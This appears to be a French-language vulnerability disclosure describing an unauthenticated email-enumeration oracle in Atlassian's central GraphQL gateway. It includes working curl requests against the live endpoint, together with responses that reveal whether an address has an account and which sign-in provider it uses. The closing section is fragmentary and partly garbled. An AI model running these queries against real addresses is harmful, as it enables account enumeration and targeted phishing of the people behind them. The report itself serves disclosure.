
CVE-2026-XXXX : Oracle d'énumération d'e-mails Atlassian GraphQL (CWE-204, CVSS 5.3 MEDIUM)
Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)
CWE-204 : Divergence de réponse observable — Oracle d'énumération d'e-mails
MOYENNE — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
La requête GraphQL loomUnauthenticated_primaryAuthTypeForEmail sur la passerelle GraphQL centrale d'Atlassian renvoie des réponses différentes selon qu'une adresse e-mail est enregistrée ou non auprès d'Atlassian, permettant une énumération non authentifiée d'utilisateurs.
E-mail enregistré → renvoie authType (par ex. workos, password, google) et un URI de redirection
E-mail non enregistré → renvoie authType: "none" sans URI de redirection
Aucune authentification n'est requise. Le nom de la requête contient « Unauthenticated » — elle est intentionnellement publique, mais elle ne devrait pas révéler si une adresse e-mail arbitraire possède un compte Atlassian.
https://api.atlassian.com/graphqlcurl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'
Réponse :
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'
Réponse :
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
authType: "workos" confirme que l'e-mail utilise WorkOS SSO. authType: "google" ou authType: "password" révélerait la méthode d'authentification. Cela permet un phishing ciblé.
Un attaquant non authentifié peut :
La requête loomUnauthenticated_primaryAuthTypeForEmail n'effectue aucune limitation de débit et renvoie des informations sur le fournisseur d'authentification pour toute adresse e-mail, sans authentification. Bien que le point de terminaison soit intentionnellement non authentifié (pour le flux d'inscription de Loom), il révèle si une adresse e-mail possède un compte et quel fournisseur d'authentification est utilisé.
Après des tests approfondis, ces affirmations ont été invalidées :
aaid: "unidentified")ValidationError)unidentified)Wh4l3X